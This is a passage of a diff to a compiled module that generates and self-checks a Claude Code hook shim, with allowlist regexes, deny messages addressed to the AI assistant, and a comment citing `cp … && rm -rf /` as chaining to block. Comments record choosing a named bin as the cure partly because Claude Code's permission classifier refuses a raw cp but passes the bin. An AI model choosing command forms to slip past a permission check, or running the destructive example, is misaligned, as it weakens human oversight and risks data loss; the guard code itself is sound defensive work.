|
|
10
|
+
exports.shimStaleDenyReason = shimStaleDenyReason;
|
|
11
|
+
exports.installedShimRulesVersion = installedShimRulesVersion;
|
|
8
12
|
const tslib_1 = require("tslib");
|
|
9
13
|
const fs = tslib_1.__importStar(require("fs"));
|
|
10
14
|
const path = tslib_1.__importStar(require("path"));
|
|
11
15
|
const rules_config_1 = require("@webpieces/rules-config");
|
|
16
|
+
const to_error_1 = require("../core/to-error");
|
|
12
17
|
// ---------------------------------------------------------------------------
|
|
13
18
|
// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing
|
|
14
19
|
// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin
|
|
@@ -21,21 +26,15 @@ const rules_config_1 = require("@webpieces/rules-config");
|
|
|
21
26
|
// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.
|
|
22
27
|
// ---------------------------------------------------------------------------
|
|
23
28
|
exports.SHIM_MARKER = '.claude/webpieces/ai-hook.sh';
|
|
24
|
-
//
|
|
25
|
-
//
|
|
26
|
-
//
|
|
27
|
-
// .
|
|
28
|
-
//
|
|
29
|
-
//
|
|
30
|
-
//
|
|
31
|
-
//
|
|
32
|
-
//
|
|
33
|
-
// the compiled shim.js that renderShim() lives in) to "<version> (<git sha>)". Both are rewritten
|
|
34
|
-
// together on purpose: the self-guard compares the committed shim against templates/ai-hook.sh with
|
|
35
|
-
// cmp, so if only one carried the stamp EVERY repo would fail-close permanently on a phantom edit.
|
|
36
|
-
// In the source tree the token stays unreplaced — a shim reading REPLACEME_GIT_HASH_VERSION was
|
|
37
|
-
// rendered from a source checkout, not an installed release, and that is worth knowing too.
|
|
38
|
-
exports.SHIM_VERSION_STAMP = 'REPLACEME_GIT_HASH_VERSION';
|
|
29
|
+
// NO VERSION STAMP (removed 2026-07-24). The shim used to carry a per-release `# webpieces shim
|
|
30
|
+
// version: <v> (<sha>)` on line 2, rewritten by scripts/set-version.sh at publish. It was a pure
|
|
31
|
+
// human-eyeball diagnostic — nothing reads it (the deny's version note comes from the installed
|
|
32
|
+
// package.json) — but it made the committed shim go byte-different on EVERY release even when the
|
|
33
|
+
// logic was identical, so the committed-shim self-guard tripped on every upgrade over a comment (the
|
|
34
|
+
// DENY-SHIM-STALE churn). It also carried its own hazard: stamp one of the two lockstep artifacts and
|
|
35
|
+
// not the other and every consumer fail-closes forever on a phantom edit. Deleting it makes the shim
|
|
36
|
+
// byte-STABLE across releases, so the self-guard (now in the binary) fires only on a genuine logic
|
|
37
|
+
// change or a real tamper — which is what lets `pnpm install` be the fix for almost everything.
|
|
39
38
|
function shimPath(projectRoot) {
|
|
40
39
|
return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');
|
|
41
40
|
}
|
|
@@ -122,10 +121,10 @@ exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
|
|
|
122
121
|
exports.SYNC_ALLOW_ERE = '^git[[:space:]]+(pull|fetch|merge)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + exports.CAPTURE_TAIL_ERE;
|
|
123
122
|
// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
|
|
124
123
|
exports.SYNC_ALLOW_JS = new RegExp('^git\\s+(pull|fetch|merge)(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*' + exports.CAPTURE_TAIL_JS_SRC);
|
|
125
|
-
// The CURE for the committed-shim self-guard (
|
|
126
|
-
//
|
|
127
|
-
// no-network local action whose whole job is to re-arm the
|
|
128
|
-
// assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under
|
|
124
|
+
// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale
|
|
125
|
+
// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —
|
|
126
|
+
// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the
|
|
127
|
+
// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under
|
|
129
128
|
// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.
|
|
130
129
|
// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).
|
|
131
130
|
exports.UPGRADE_SHIM_ALLOW_ERE = '^(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim' + exports.CAPTURE_TAIL_ERE;
|
|
@@ -141,9 +140,10 @@ exports.UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';
|
|
|
141
140
|
// message gave "ZERO information" on how to actually fix it.
|
|
142
141
|
//
|
|
143
142
|
// A plain `cp` of the installed template over the committed shim has none of that version coupling:
|
|
144
|
-
// templates/ai-hook.sh ships in EVERY release
|
|
145
|
-
//
|
|
146
|
-
// mode, so the shim stays executable with no chmod.
|
|
143
|
+
// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit
|
|
144
|
+
// test), which is exactly what the binary's committedShimStale() compares the committed shim against;
|
|
145
|
+
// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.
|
|
146
|
+
// It cures the block on any version, old or new —
|
|
147
147
|
// which is why the deny now leads with it and only mentions the bin as the newer equivalent.
|
|
148
148
|
//
|
|
149
149
|
// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are
|
|
@@ -154,6 +154,52 @@ exports.RESTORE_SHIM_ALLOW_ERE = '^cp[[:space:]]+(\\./)?node_modules/@webpieces/
|
|
|
154
154
|
exports.RESTORE_SHIM_ALLOW_JS = new RegExp('^cp\\s+(\\.\\/)?node_modules\\/@webpieces\\/ai-hook-rules\\/templates\\/ai-hook\\.sh\\s+(\\.\\/)?\\.claude\\/webpieces\\/ai-hook\\.sh' + exports.CAPTURE_TAIL_JS_SRC);
|
|
155
155
|
// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.
|
|
156
156
|
exports.RESTORE_SHIM_CMD = 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';
|
|
157
|
+
// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.
|
|
158
|
+
//
|
|
159
|
+
// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the
|
|
160
|
+
// shim's own header line names it as the managing command), and install-entry.ts calls healShim()
|
|
161
|
+
// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it
|
|
162
|
+
// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and
|
|
163
|
+
// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.
|
|
164
|
+
// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny
|
|
165
|
+
// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier
|
|
166
|
+
// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.
|
|
167
|
+
//
|
|
168
|
+
// Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no
|
|
169
|
+
// shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).
|
|
170
|
+
exports.INSTALL_HOOKS_ALLOW_ERE = '^(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks' + exports.CAPTURE_TAIL_ERE;
|
|
171
|
+
// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
172
|
+
exports.INSTALL_HOOKS_ALLOW_JS = new RegExp('^(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks' + exports.CAPTURE_TAIL_JS_SRC);
|
|
173
|
+
// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.
|
|
174
|
+
exports.INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';
|
|
175
|
+
// ---------------------------------------------------------------------------
|
|
176
|
+
// HOW EVERY DENY MUST SPELL ITS CURE (added 2026-07-23, from a live audit-log post-mortem).
|
|
177
|
+
//
|
|
178
|
+
// The guards were right, the message was right, and the assistant STILL handed the block back to the
|
|
179
|
+
// human — because of one appended clause. From .webpieces/logs/ai-hook-shim.log in a consumer repo:
|
|
180
|
+
//
|
|
181
|
+
// DENY-SHIM-STALE cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh && git status --short
|
|
182
|
+
//
|
|
183
|
+
// That is the prescribed cure, verbatim, plus `&& git status --short`. Every allowlist here is anchored
|
|
184
|
+
// to `$`, so the trailing `&&` made it a different command and it was denied — and the assistant read
|
|
185
|
+
// its own denial as proof that "the guard blocks the very command that fixes it" and stopped.
|
|
186
|
+
//
|
|
187
|
+
// Widening the allowlist to accept `&& <anything>` is NOT the fix: these are fail-CLOSED escape hatches
|
|
188
|
+
// whose entire security property is that no shell operator can ride along (`cp … && rm -rf /`). The fix
|
|
189
|
+
// is to stop the assistant appending in the first place — so every deny that prescribes a command now
|
|
190
|
+
// (a) numbers its cures as OPTIONs, (b) quotes each one so the exact bytes are unambiguous, and
|
|
191
|
+
// (c) carries this rule, which says in plain words that adding `&&` gets it rejected again.
|
|
192
|
+
//
|
|
193
|
+
// CONSTRAINT on every string that reaches a deny REASON: no double quotes and no backslashes. The
|
|
194
|
+
// reason is interpolated into a `REASON="…"` shell assignment and then printf'd into a JSON string, so
|
|
195
|
+
// a `"` would break BOTH. Hence single quotes around the commands here — do not "improve" them.
|
|
196
|
+
// ---------------------------------------------------------------------------
|
|
197
|
+
exports.NO_CHAINING_RULE = 'Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. ' +
|
|
198
|
+
'Seriously: do NOT append && anything (not even a harmless && git status), do NOT put a cd in front of it, ' +
|
|
199
|
+
'do NOT wrap it in a subshell. The allowlist is anchored to the ENTIRE command, so anything you bolt on ' +
|
|
200
|
+
'makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. ' +
|
|
201
|
+
'If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. ' +
|
|
202
|
+
'The ONLY additions that are tolerated are a trailing 2>&1 or a pipe into tail/head (e.g. 2>&1 | tail -20).';
|
|
157
203
|
// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\${BIN_NAME},
|
|
158
204
|
// \$REASON, \\n for the deny JSON) AND my sed backslashes (doubled: \\(, \\), \\1, [^"\\\\]). The
|
|
159
205
|
// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).
|
|
@@ -221,25 +267,6 @@ if [ -f "$ROOT/package.json" ]; then
|
|
|
221
267
|
done <<WPEOF
|
|
222
268
|
$(sed -n 's/.*"@webpieces\\/\\([A-Za-z0-9._-]*\\)"[[:space:]]*:[[:space:]]*"\\([^"]*\\)".*/\\1 \\2/p' "$ROOT/package.json")
|
|
223
269
|
WPEOF
|
|
224
|
-
fi
|
|
225
|
-
# --- webpieces committed-shim self-guard (this file is webpieces-managed; a revert/edit is a mistake) --
|
|
226
|
-
# THIS file (.claude/webpieces/ai-hook.sh) is GENERATED from the installed @webpieces/ai-hook-rules
|
|
227
|
-
# template and committed only so the hook has a stable entry point when node_modules is absent. If it no
|
|
228
|
-
# longer matches the installed template, someone reverted or hand-edited it (the exact mistake that hides
|
|
229
|
-
# the fix behind a stale escape hatch) — its fail-closed logic can no longer be trusted, so we fail closed
|
|
230
|
-
# and make the cure explicit rather than silently running possibly-stale guard logic. Best-effort: only
|
|
231
|
-
# when the template is actually present (skip on a fresh clone / global install), and only when there is
|
|
232
|
-
# NO version drift (that has its own, more precise message; comparing bytes across versions is just noise).
|
|
233
|
-
#
|
|
234
|
-
# SHIM_TPL_VER is the version of @webpieces/ai-hook-rules the template came from. It goes in the deny
|
|
235
|
-
# text so the reader knows WHICH version's shim the cure installs — without it the message named a file
|
|
236
|
-
# and a bin but never the thing being restored, which is what made it unactionable.
|
|
237
|
-
SHIM_STALE=""
|
|
238
|
-
SHIM_TPL_VER=""
|
|
239
|
-
WP_TEMPLATE="$ROOT/node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh"
|
|
240
|
-
if [ -z "$DRIFT_PKG" ] && [ -f "$WP_TEMPLATE" ] && ! cmp -s "$0" "$WP_TEMPLATE"; then
|
|
241
|
-
SHIM_STALE=1
|
|
242
|
-
SHIM_TPL_VER="$(sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\\([^"]*\\)".*/\\1/p' "$ROOT/node_modules/@webpieces/ai-hook-rules/package.json" 2>/dev/null | head -n1)"
|
|
243
270
|
fi`;
|
|
244
271
|
// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.
|
|
245
272
|
//
|
|
@@ -258,7 +285,7 @@ fi`;
|
|
|
258
285
|
// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude
|
|
259
286
|
// Code exactly as written — command substitution strips trailing newlines and would corrupt the
|
|
260
287
|
// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.
|
|
261
|
-
const RUN_BIN_SH = `if [ -x "\$BIN" ] && [ -z "\$DRIFT_PKG" ]
|
|
288
|
+
const RUN_BIN_SH = `if [ -x "\$BIN" ] && [ -z "\$DRIFT_PKG" ]; then
|
|
262
289
|
OUT_FILE="\${TMPDIR:-/tmp}/wp-ai-hook-out.\$\$"
|
|
263
290
|
ERR_FILE="\${TMPDIR:-/tmp}/wp-ai-hook-err.\$\$"
|
|
264
291
|
printf '%s' "\$PAYLOAD" | "\$BIN" "\$@" >"\$OUT_FILE" 2>"\$ERR_FILE"
|
|
@@ -292,25 +319,11 @@ wp_log() { # \$1 = decision label (ALLOW-INSTALL | DENY | DENY
|
|
|
292
319
|
}
|
|
293
320
|
DENY_LABEL="DENY"
|
|
294
321
|
[ -n "\$DRIFT_PKG" ] && DENY_LABEL="DENY-STALE" # version drift, not a missing bin
|
|
295
|
-
[ -n "\$SHIM_STALE" ] && DENY_LABEL="DENY-SHIM-STALE" # committed shim reverted/edited (self-guard)
|
|
296
322
|
[ -n "\$BROKEN_BIN" ] && DENY_LABEL="DENY-BROKEN" # bin present but CRASHED (corrupt node_modules)
|
|
297
323
|
if printf '%s' "\$CMD" | grep -Eq '${exports.INSTALLER_ALLOW_ERE}' || printf '%s' "\$CMD" | grep -Eq '${exports.RECOVERY_ALLOW_ERE}'; then
|
|
298
324
|
wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)
|
|
299
325
|
exit 0 # allow the installer/recovery so the assistant can break the deadlock
|
|
300
326
|
fi
|
|
301
|
-
# Always let the shim-regen cure through: wp-upgrade-shim rewrites the committed shim from the installed
|
|
302
|
-
# template, so it is the ONLY fix for a self-guard block — denying it would deadlock the assistant.
|
|
303
|
-
if printf '%s' "\$CMD" | grep -Eq '${exports.UPGRADE_SHIM_ALLOW_ERE}'; then
|
|
304
|
-
wp_log ALLOW-UPGRADE-SHIM # record the shim regen we let through (re-arms the committed shim)
|
|
305
|
-
exit 0
|
|
306
|
-
fi
|
|
307
|
-
# Same cure, without the version coupling: copying templates/ai-hook.sh over the committed shim is what
|
|
308
|
-
# we now TELL the reader to run (the bin only exists in >= 0.4.408), so it must be allowed or the deny
|
|
309
|
-
# names a command it then blocks. Both paths are literal and webpieces-owned - nothing else can be hit.
|
|
310
|
-
if printf '%s' "\$CMD" | grep -Eq '${exports.RESTORE_SHIM_ALLOW_ERE}'; then
|
|
311
|
-
wp_log ALLOW-RESTORE-SHIM # record the template copy we let through (re-arms the committed shim)
|
|
312
|
-
exit 0
|
|
313
|
-
fi
|
|
314
327
|
# DRIFT ONLY: let the git sync commands through. When the PIN is the stale side (a checkout behind
|
|
315
328
|
# origin), 'pnpm install' DOWNGRADES and 'git pull' is the only cure — denying it deadlocks the
|
|
316
329
|
# assistant against its own fix. Pointless for a missing/broken bin, so it stays gated on drift.
|
|
@@ -352,31 +365,7 @@ const DENY_REASON_SH = `if [ -n "\$BROKEN_BIN" ]; then
|
|
|
352
365
|
if [ "\${STAGING_N:-0}" -gt 0 ] 2>/dev/null; then
|
|
353
366
|
STAGING_NOTE=" Also found \$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write."
|
|
354
367
|
fi
|
|
355
|
-
REASON="❌ webpieces guards are DOWN and every tool call is BLOCKED: \${BIN_NAME} is installed but CRASHED (\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package.
|
|
356
|
-
elif [ -n "\$SHIM_STALE" ]; then
|
|
357
|
-
# The committed shim differs from the installed template — reverted or hand-edited. State plainly that
|
|
358
|
-
# this file is webpieces-MANAGED so the reader does not "fix" it by reverting again, and name the ONE
|
|
359
|
-
# allowlisted command that re-arms it.
|
|
360
|
-
# DO NOT NAME THE cp HERE (reverted 2026-07-21, the same day it was added). The cp is version-agnostic,
|
|
361
|
-
# which is why it was promoted to the headline cure — but webpieces' allowlist is not the only gate in
|
|
362
|
-
# front of the assistant. Claude Code's own permission classifier sees a raw cp overwriting a file in
|
|
363
|
-
# the repo and denies it, so the deny named a command that a DIFFERENT gate then blocked, and the
|
|
364
|
-
# assistant read the second denial as proof the block was unfixable. Observed live: the classifier
|
|
365
|
-
# refused the cp repeatedly and let pnpm exec wp-upgrade-shim straight through, because a named bin
|
|
366
|
-
# reads as a tool invocation rather than an arbitrary file overwrite. So name ONLY the bin.
|
|
367
|
-
# The cost is legacy repos on < 0.4.408, where that bin does not exist; they stay bumpy until they
|
|
368
|
-
# upgrade once, and the message tells them so instead of pretending a cp will get through.
|
|
369
|
-
# (RESTORE_SHIM_ALLOW_ERE stays in the allowlist — a HUMAN running the cp must still work.)
|
|
370
|
-
#
|
|
371
|
-
# SAY THAT THE CURE IS ALLOWED THROUGH (2026-07-21, part 1): the text asserted a flat "every tool call
|
|
372
|
-
# is blocked" and then named a command to run — so the reader reasonably concluded the guard would
|
|
373
|
-
# block its own fix too, never tried it, and handed the "deadlock" to the human. The cure IS
|
|
374
|
-
# allowlisted (see RESTORE_SHIM_ALLOW_ERE / UPGRADE_SHIM_ALLOW_ERE above); the message just never said
|
|
375
|
-
# so. The drift branch below has always named its allowed cure in plain words and has never produced
|
|
376
|
-
# that failure — so state it here the same way.
|
|
377
|
-
SHIM_VER_NOTE=""
|
|
378
|
-
[ -n "\$SHIM_TPL_VER" ] && SHIM_VER_NOTE=" (installed version \$SHIM_TPL_VER)"
|
|
379
|
-
REASON="❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh template shipped inside the INSTALLED @webpieces/ai-hook-rules\${SHIM_VER_NOTE} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. Run EXACTLY this to rewrite the shim from the installed webpieces\${SHIM_VER_NOTE} template, then retry: ${exports.UPGRADE_SHIM_CMD} - that is the whole fix. THIS IS NOT A DEADLOCK: it is explicitly ALLOWED through while this guard is up, so run it YOURSELF now - do not hand it back to the human. (Command not found? Your installed @webpieces/ai-hook-rules predates 0.4.408, which is older than this guard's cure - ask the human to restore the shim or upgrade webpieces. Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.)"
|
|
368
|
+
REASON="❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: \${BIN_NAME} is installed but CRASHED (\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: '${exports.RECOVERY_CMD}'. ${exports.NO_CHAINING_RULE}\${STAGING_NOTE}"
|
|
380
369
|
elif [ -n "\$DRIFT_PKG" ]; then
|
|
381
370
|
# The 'how do I get current' half comes from SyncFlowGuidance so it cannot contradict the guards.
|
|
382
371
|
# It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard
|
|
@@ -389,7 +378,7 @@ elif [ -n "\$DRIFT_PKG" ]; then
|
|
|
389
378
|
# check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the
|
|
390
379
|
# older side. When it is actually the NEWER side (a checkout behind origin), that text sent people
|
|
391
380
|
# to 'pnpm install', which DOWNGRADES them further from correct.
|
|
392
|
-
REASON="❌ webpieces version drift: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. Every call is blocked until they agree. WHICH ONE IS STALE decides
|
|
381
|
+
REASON="❌ webpieces version drift: package.json pins \$DRIFT_PKG@\$DRIFT_DECLARED but node_modules has \$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. WHICH ONE IS STALE decides which option is yours - compare the two versions above. OPTION 1 (the pin is NEWER than node_modules - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command to catch node_modules up: 'pnpm install'. OPTION 2 (the pin is OLDER than node_modules - your checkout is behind origin, so the PIN is the stale side, and 'pnpm install' on its own would DOWNGRADE you) - get the checkout current FIRST, THEN run 'pnpm install'. ${new rules_config_1.SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. Do not reach for git merge: this guard lets it through only because the guards are DOWN, and the moment they come back redirect-how-to-merge-main blocks it in every form. ${exports.NO_CHAINING_RULE}"
|
|
393
382
|
else
|
|
394
383
|
# A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:
|
|
395
384
|
# git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no
|
|
@@ -400,15 +389,17 @@ else
|
|
|
400
389
|
if [ -f "\$ROOT/.git" ]; then
|
|
401
390
|
WORKTREE_NOTE=" NOTE: \$ROOT is a LINKED WORKTREE - git does not copy node_modules into a new worktree, so this is expected on a fresh one. Run 'pnpm install' HERE (in this worktree), not in the primary clone."
|
|
402
391
|
fi
|
|
403
|
-
REASON="❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\${BIN_NAME} not found).
|
|
392
|
+
REASON="❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\${BIN_NAME} not found). OPTION 1 - run EXACTLY this command to enable the webpieces AI guards, then retry: 'pnpm install'. ${exports.NO_CHAINING_RULE}\${WORKTREE_NOTE} (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)"
|
|
404
393
|
fi`;
|
|
405
394
|
function renderShim() {
|
|
406
395
|
return `#!/bin/sh
|
|
407
|
-
# webpieces
|
|
408
|
-
#
|
|
409
|
-
#
|
|
410
|
-
#
|
|
411
|
-
# the
|
|
396
|
+
# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit. This file is GENERATED from
|
|
397
|
+
# renderShim() and is intentionally VERSION-AGNOSTIC and byte-STABLE across releases: it carries no
|
|
398
|
+
# version stamp, so it only changes when its own logic changes. The installed guards binary is what
|
|
399
|
+
# checks that this committed copy still matches renderShim() (the committed-shim self-guard); if you
|
|
400
|
+
# revert or hand-edit this file the binary fails closed and names the cure. Checked in on purpose so
|
|
401
|
+
# the hook has a stable entry point even when node_modules is absent. Safe to delete along with the
|
|
402
|
+
# matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.
|
|
412
403
|
#
|
|
413
404
|
# Usage (wired into .claude/settings.json): sh "$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh" <bin-name>
|
|
414
405
|
BIN_NAME="$1"
|
|
@@ -481,4 +472,74 @@ function healShim(cwd) {
|
|
|
481
472
|
// Ignore: healing is a convenience, not part of the guard decision.
|
|
482
473
|
}
|
|
483
474
|
}
|
|
475
|
+
// ---------------------------------------------------------------------------
|
|
476
|
+
// COMMITTED-SHIM SELF-GUARD — now enforced by the guards BINARY, not the shim (moved 2026-07-24).
|
|
477
|
+
//
|
|
478
|
+
// It used to live in the rendered shim (`cmp -s "$0" "$WP_TEMPLATE"` → fail closed). That was a
|
|
479
|
+
// double-edged fix trap: the shim-matching logic lived IN the committed shim, so a bug in it could
|
|
480
|
+
// only be fixed by regenerating the committed shim — which required passing the buggy shim's own gate
|
|
481
|
+
// (via wp-upgrade-shim). The fix was locked behind the gate it needed to open.
|
|
482
|
+
//
|
|
483
|
+
// The drift guard MUST stay pre-binary (a stale validator can't be trusted to guard itself), but this
|
|
484
|
+
// check's rationale — "don't run possibly-stale shim logic" — evaporates once the check is in the
|
|
485
|
+
// binary: at that point the deciding code is the CURRENT binary from node_modules, not the reverted
|
|
486
|
+
// shim. So the shim now only checks drift + bin-presence and always hands off; the binary (hook-core)
|
|
487
|
+
// calls committedShimStale() and, on a mismatch, fails closed with shimStaleDenyReason() — the SAME
|
|
488
|
+
// OPTION 1/2/3 message — while isShimCureCommand() lets the three cures through so the AI self-heals.
|
|
489
|
+
// We deny + tell the AI; we do NOT silently rewrite the file under it. With the version stamp gone the
|
|
490
|
+
// shim is byte-stable across releases, so this fires only on a genuine logic change or a real tamper.
|
|
491
|
+
// ---------------------------------------------------------------------------
|
|
492
|
+
// True when a committed shim EXISTS but no longer equals renderShim() (reverted, hand-edited, or a shim
|
|
493
|
+
// whose LOGIC predates the installed binary). Missing shim → false: a fresh clone / global install has
|
|
494
|
+
// nothing to guard, matching the old shim's `[ -f "$WP_TEMPLATE" ]` skip. Same comparison healShim
|
|
495
|
+
// makes; never throws (an unreadable tree is treated as "not stale" so it can't wedge a tool call).
|
|
496
|
+
// webpieces-disable no-function-outside-class -- pure fs+path helper in the shim module, beside healShim/renderShim.
|
|
497
|
+
function committedShimStale(cwd) {
|
|
498
|
+
// eslint-disable-next-line @webpieces/no-unmanaged-exceptions
|
|
499
|
+
try {
|
|
500
|
+
const root = findShimRoot(cwd);
|
|
501
|
+
if (root === null)
|
|
502
|
+
return false;
|
|
503
|
+
return fs.readFileSync(shimPath(root), 'utf8') !== renderShim();
|
|
504
|
+
}
|
|
505
|
+
catch (err) {
|
|
506
|
+
const error = (0, to_error_1.toError)(err);
|
|
507
|
+
void error; // best-effort: an unreadable tree counts as "not stale" so this never wedges a tool call
|
|
508
|
+
return false;
|
|
509
|
+
}
|
|
510
|
+
}
|
|
511
|
+
// True when `command` is one of the three self-guard cures — the ONLY commands allowed through while a
|
|
512
|
+
// stale committed shim blocks everything else, so the AI can re-arm it. Each JS twin already tolerates
|
|
513
|
+
// a trailing `2>&1 | tail -N` and rejects any `&&`-chained tail (see CAPTURE_TAIL_JS_SRC).
|
|
514
|
+
// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist twins; belongs beside them in the shim module.
|
|
515
|
+
function isShimCureCommand(command) {
|
|
516
|
+
const cmd = command.trim();
|
|
517
|
+
return exports.INSTALL_HOOKS_ALLOW_JS.test(cmd) || exports.UPGRADE_SHIM_ALLOW_JS.test(cmd) || exports.RESTORE_SHIM_ALLOW_JS.test(cmd);
|
|
518
|
+
}
|
|
519
|
+
// The fail-closed deny text for a stale committed shim, built from the single-source cure constants +
|
|
520
|
+
// NO_CHAINING_RULE. `installedVersion` names WHICH webpieces the cure re-arms to (the binary is that
|
|
521
|
+
// version); pass '' to omit the note rather than print an empty one. CONSTRAINT: the returned string
|
|
522
|
+
// must contain no `"` and no `\` — it is JSON-serialized by denyJson() (a stray quote/backslash would
|
|
523
|
+
// corrupt the PreToolUse decision payload, not just the text). Locked by a unit test.
|
|
524
|
+
// webpieces-disable no-function-outside-class -- pure string builder over exported constants; the single source of the self-guard deny text now that the sh copy is gone.
|
|
525
|
+
function shimStaleDenyReason(installedVersion) {
|
|
526
|
+
const verNote = installedVersion ? ` (installed version ${installedVersion})` : '';
|
|
527
|
+
return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred - present in every webpieces release, and it re-arms the shim before it loads anything else) - run EXACTLY this command: '${exports.INSTALL_HOOKS_CMD}'. OPTION 2 (shim regen only; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${exports.UPGRADE_SHIM_CMD}'. OPTION 3 (works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite - that prompt is NOT this guard) - run EXACTLY this command: '${exports.RESTORE_SHIM_CMD}'. ${exports.NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;
|
|
528
|
+
}
|
|
529
|
+
// The installed @webpieces/ai-hook-rules version, for shimStaleDenyReason's note. The binary IS this
|
|
530
|
+
// package, so it reads its OWN package.json (two dirs up from src/bin). Best-effort: '' on any failure,
|
|
531
|
+
// which shimStaleDenyReason renders as no note rather than a broken one.
|
|
532
|
+
// webpieces-disable no-function-outside-class -- pure fs helper beside the shim module's other version plumbing.
|
|
533
|
+
function installedShimRulesVersion() {
|
|
534
|
+
// eslint-disable-next-line @webpieces/no-unmanaged-exceptions
|
|
535
|
+
try {
|
|
536
|
+
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, '..', '..', 'package.json'), 'utf8'));
|
|
537
|
+
return pkg.version ?? '';
|
|
538
